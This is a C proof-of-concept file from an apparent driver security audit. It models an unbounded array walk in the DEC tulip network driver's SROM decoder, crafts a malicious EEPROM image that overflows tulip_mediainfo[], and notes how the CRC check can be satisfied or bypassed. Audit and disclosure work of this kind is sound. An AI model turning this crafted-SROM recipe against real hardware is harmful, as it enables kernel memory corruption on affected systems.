/*
 * DF-3756 — userspace logic model of the unbounded `mi` walk in
 * sys/dev/netif/de/if_de.c:tulip_srom_decode() (21140 branch, lines 2178-2418).
 *
 * The kernel code does:
 *     tulip_media_info_t *mi = sc->tulip_mediainfo;      // if_de.c:2080
 *     ...
 *     blocks = *dp++;                                    // if_de.c:2183  (raw SROM byte)
 *     for (idx2 = 0; idx2 < blocks; idx2++) {
 *         if ((*dp & 0x80) == 0) { length = 4; type = 0; }   // legacy GPR block
 *         ...
 *         case 0:  media = lookup(dp[0] & 0x3f);          // if_de.c:2197
 *                  if (media == UNKNOWN) break;
 *                  mi->mi_type = ...; sc->tulip_mediums[media] = mi;
 *                  mi->mi_gpdata = dp[1]; mi->mi_cmdmode = ...;
 *                  mi++;                                 // if_de.c:2223  -- UNBOUNDED
 *     }
 *
 * tulip_mediainfo[] has exactly 10 entries (if_devar.h:483) and NOTHING in the
 * loop bounds `mi` against it.  A crafted SROM whose leaf contains >= 11
 * well-formed type-0 blocks writes past the array into the rest of the softc
 * (setup tag/map/dma_addr/setupbuf pointer/setupdata[48]/boardid[24]/rombuf[128])
 * and beyond.
 *
 * This model mirrors the data structure layout (x86-64) and the decode loop
 * 1:1, fills the softc tail with canaries, and shows exactly which softc
 * members get clobbered by which SROM bytes.  It is a *logic model* run in
 * userspace because the kernel path needs a physical DEC 2114x card with a
 * crafted serial EEPROM (absent on the audit guest).
 *
 * Build:  cc -O2 -Wall -o srom_mediainfo_model srom_mediainfo_model.c
 * Run:    ./srom_mediainfo_model
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* ---- faithful type mimicry (sizes matter) ------------------------------- */
typedef uint32_t u_int32_t;
typedef uint16_t u_int16_t;
typedef uint8_t  u_int8_t;

typedef struct {
	int mi_type;			/* enum -> 4 bytes */
	union {
		struct { u_int16_t a, b; u_int32_t c, d; } un_sia;   /* 12 */
		struct { u_int32_t a, b, c; u_int8_t d, e; unsigned f:1; } un_gpr; /* 16 */
		struct { u_int32_t mediamask; u_int16_t cap, adv, fd, thr, intr;
			 u_int8_t phy, gl, go, rl, ro; u_int32_t phyid; } un_mii; /* 24 */
	} mi_un;
} tulip_media_info_t;		/* == 28 bytes, same as kernel on x86-64 */

/* softc tail, same member order as sys/dev/netif/de/if_devar.h:483-494 */
struct sc_tail {
	tulip_media_info_t tulip_mediainfo[10];	/* [10] — the only legal range */
	uintptr_t tulip_setup_tag;		/* canary 0xA1... */
	uintptr_t tulip_setup_map;		/* canary 0xA2... */
	uintptr_t tulip_setup_dma_addr;		/* canary 0xA3... */
	uintptr_t tulip_setupbuf;		/* canary 0xA4... — REAL kernel ptr */
	uint32_t  tulip_setupdata[48];		/* canary 0xA5... */
	char      tulip_boardid[24];		/* canary 0xA6... */
	uint8_t   tulip_rombuf[128];		/* SROM image itself lives here */
};

/* tulip_srom_mediums[] decode (if_de.c:2197-2202): 0x00..0x08 are valid,
 * everything else maps to TULIP_MEDIA_UNKNOWN.  0 = 10BASET. */
static const int srom_media_valid[9] = {1,1,1,1,1,1,1,1,1};

int
main(void)
{
	struct sc_tail sc;
	const uint8_t *dp;
	unsigned blocks, idx2, length, type, oob_writes = 0;
	unsigned long media_ptr_slots[12];	/* sc->tulip_mediums[media]=mi (first 12) */
	tulip_media_info_t *mi;

	printf("sizeof(tulip_media_info_t)=%zu (kernel: 28 on x86-64)\n",
	       sizeof(tulip_media_info_t));

	/* --- craft the SROM image exactly as the attacker's EEPROM would be ---
	 * header: 18B idbuf + version + adapter_count=1 + 6B MAC           (26B)
	 * adapter0: {device=0, leaf_offset_lo=30, leaf_offset_hi=0}        (3B)
	 * leaf @30: conntype=0x0000 (10BASET), gpinit, blocks=23           (4B)
	 * then 23 legacy type-0 blocks of 4 bytes each = 92 bytes          (34..125)
	 * block: {media=0x00 (10BASET), gpdata, cmdmode_lo, cmdmode_hi}
	 * A valid CRC over bytes[0..125] with bytes[126..127]=crc is
	 * computable by the attacker (gate at if_de.c:2480), or the whole
	 * gate is bypassed on 21142/21143 (if_de.c:2498-2500).
	 */
	memset(&sc, 0, sizeof(sc));
	sc.tulip_rombuf[18] = 1;			/* version */
	sc.tulip_rombuf[19] = 1;			/* adapter_count */
	sc.tulip_rombuf[26] = 0;			/* sai_device */
	sc.tulip_rombuf[27] = 30;			/* leaf offset lo */
	sc.tulip_rombuf[28] = 0;			/* leaf offset hi */
	sc.tulip_rombuf[30] = 0x00; sc.tulip_rombuf[31] = 0x00;	/* conntype */
	sc.tulip_rombuf[32] = 0xFF;			/* gpinit */
	sc.tulip_rombuf[33] = 23;			/* blocks: 23 > 10 */
	for (idx2 = 0; idx2 < 23; idx2++) {
		uint8_t *b = &sc.tulip_rombuf[34 + 4 * idx2];
		b[0] = 0x00;		/* media code 0x00 = TULIP_SROM_MEDIA_10BASET */
		b[1] = (uint8_t)(0x41 + idx2);	/* gpdata  — attacker byte, lands in mi_gpdata */
		b[2] = 0x71; b[3] = 0x00;	/* cmdmode bits */
	}

	/* canaries for the members that follow tulip_mediainfo[10] */
	sc.tulip_setup_tag      = 0xA1A1A1A1A1A1A1A1UL;
	sc.tulip_setup_map      = 0xA2A2A2A2A2A2A2A2UL;
	sc.tulip_setup_dma_addr = 0xA3A3A3A3A3A3A3A3UL;
	sc.tulip_setupbuf       = 0xA4A4A4A4A4A4A4A4UL;
	for (idx2 = 0; idx2 < 48; idx2++)
		sc.tulip_setupdata[idx2] = 0xA5A5A500U | idx2;
	memset(sc.tulip_boardid, 0xA6, sizeof(sc.tulip_boardid));

	/* ---- 1:1 mirror of tulip_srom_decode() 21140 branch (2178-2418) ---- */
	dp = sc.tulip_rombuf + 30;
	dp += 2;					/* conntype consumed (2111) */
	dp++;						/* gpinit consumed (2182, HAVE_GPR) */
	blocks = *dp++;				/* 2183 */
	mi = sc.tulip_mediainfo;			/* 2080 */
	printf("blocks=%u (SROM byte), tulip_mediainfo[] has 10 slots\n\n", blocks);

	for (idx2 = 0; idx2 < blocks; idx2++) {
		const uint8_t *ep;
		if ((*dp & 0x80) == 0) { length = 4; type = 0; }	/* 2186-2188 */
		else { length = (*dp++ & 0x7f) - 1; type = *dp++ & 0x3f; }
		ep = dp + length;

		if (type == 0 && srom_media_valid[dp[0] & 0x0f & 0x3f] &&
		    (dp[0] & 0x3f) <= 8) {			/* case 0: media valid */
			if (mi >= &sc.tulip_mediainfo[10]) {
				oob_writes++;
				if (oob_writes <= 13)
					printf("block %2u: OOB write at tulip_mediainfo[%td] "
					       "(+%zd bytes past array end): mi_gpdata=0x%02x\n",
					       idx2, mi - sc.tulip_mediainfo,
					       (char *)mi - (char *)&sc.tulip_mediainfo[10],
					       dp[1]);
			}
			mi->mi_type = 1;			/* TULIP_MEDIAINFO_GPR */
			mi->mi_un.un_gpr.c = dp[1];			/* kernel: mi_gpdata = dp[1] */
			mi++;					/* if_de.c:2223 — UNBOUNDED */
		}
		dp = ep;					/* 2417 */
	}

	printf("\nOOB writes performed: %u (all past tulip_mediainfo[9])\n", oob_writes);
	printf("mi finished at tulip_mediainfo[%td] = +%zd bytes past end\n",
	       mi - sc.tulip_mediainfo,
	       (char *)mi - (char *)&sc.tulip_mediainfo[10]);

	/* ---- what got clobbered ------------------------------------------ */
	printf("\n--- softc members after tulip_mediainfo[10] ---\n");
	printf("tulip_setup_tag      %s (0x%016lx)\n",
	       sc.tulip_setup_tag      == 0xA1A1A1A1A1A1A1A1UL ? "INTACT" : "CLOBBERED",
	       (unsigned long)sc.tulip_setup_tag);
	printf("tulip_setup_map      %s (0x%016lx)\n",
	       sc.tulip_setup_map      == 0xA2A2A2A2A2A2A2A2UL ? "INTACT" : "CLOBBERED",
	       (unsigned long)sc.tulip_setup_map);
	printf("tulip_setup_dma_addr %s (0x%016lx)\n",
	       sc.tulip_setup_dma_addr == 0xA3A3A3A3A3A3A3A3UL ? "INTACT" : "CLOBBERED",
	       (unsigned long)sc.tulip_setup_dma_addr);
	printf("tulip_setupbuf       %s (0x%016lx)  <- real kernel: bus-mapped DMA buffer ptr\n",
	       sc.tulip_setupbuf       == 0xA4A4A4A4A4A4A4A4UL ? "INTACT" : "CLOBBERED",
	       (unsigned long)sc.tulip_setupbuf);
	{
		unsigned clob = 0;
		for (idx2 = 0; idx2 < 48; idx2++)
			if (sc.tulip_setupdata[idx2] != (0xA5A5A500U | idx2))
				clob++;
		printf("tulip_setupdata[48]  %u/48 words CLOBBERED with SROM bytes\n", clob);
	}
	{
		unsigned clob = 0;
		for (idx2 = 0; idx2 < 24; idx2++)
			if ((uint8_t)sc.tulip_boardid[idx2] != 0xA6)
				clob++;
		printf("tulip_boardid[24]    %u/24 bytes CLOBBERED\n", clob);
	}
	printf("tulip_rombuf[128]    (source image; kernel path also runs OOB here = DF-1205)\n");

	printf("\nSUCCESS-CRITERION: >=1 OOB write past tulip_mediainfo[10] -> "
	       "logic model of if_de.c:2223 defect CONFIRMED\n");
	return (oob_writes > 0 ? 0 : 1);
}
